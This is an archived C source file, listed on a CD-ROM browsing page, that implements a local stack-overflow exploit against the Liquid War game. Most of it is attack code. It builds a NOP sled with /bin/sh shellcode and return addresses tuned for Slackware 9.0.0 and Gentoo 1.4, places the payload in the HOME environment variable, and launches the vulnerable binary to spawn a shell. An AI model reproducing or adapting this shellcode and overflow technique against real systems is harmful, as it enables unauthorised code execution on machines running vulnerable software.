home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / liquidwars / LiquidWarExploit.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  60 lines

  1. /*
  2. *
  3. *                             http://www.rosiello.org
  4. *                              (c) Rosiello Security
  5. *
  6. * Copyright Rosiello Security 2003
  7. * All Rights reserved.
  8. *
  9. * Tested on Slakware 9.0.0 & Gentoo 1.4
  10. *
  11. * Author: Angelo Rosiello
  12. * Mail  : angelo@rosiello.org
  13. * URL   : http://ww.rosiello.org
  14. *
  15. * Greetz: Astharot by Zone-H who posted the stack overflow bug
  16. *
  17. */
  18.  
  19. #include <stdio.h>
  20. #include <unistd.h>
  21. #include <stdlib.h>
  22.  
  23. /* /bin/sh */
  24. static char shellcode[]=
  25. "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
  26. "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
  27.  
  28. #define NOP     0x90
  29. #define LEN     520           //Buffer for Slackware 9.0.0
  30. //#define LEN   528           //Buffer for Gentoo 1.4
  31. #define RET     0xbffff414    //Valid Address for Slackware 9.0.0
  32. //#define RET   0xbffff360    //Valid Address for Gentoo 1.4
  33.  
  34. int main()
  35. {
  36.         char buffer[LEN];
  37.         long retaddr = RET;
  38.         int i;
  39.  
  40.  
  41.         fprintf(stderr, "\n(c) Rosiello Security 2003 - http://www.rosiello.org\n");
  42.         fprintf(stderr, "Liquidwar's exploit for Slackware 9.0.0\n");
  43.         fprintf(stderr, "by Angelo Rosiello - angelo@rosiello.org\n\n");
  44.         fprintf(stderr, "using address 0x%lx\n",retaddr);
  45.  
  46.         for (i=0;i<LEN;i+=4) *(long *)&buffer[i] = retaddr;
  47.  
  48.         for (i=0;i<(LEN-strlen(shellcode)-50);i++) *(buffer+i) = NOP;
  49.  
  50.         memcpy(buffer+i,shellcode,strlen(shellcode));
  51.  
  52.         /* export the variable, run liquidwar */
  53.  
  54.         setenv("HOME", buffer, 1);
  55.         execl("/usr/games/liquidwar","liquidwar",NULL);
  56.  
  57.         return 0;
  58. }
  59.  
  60.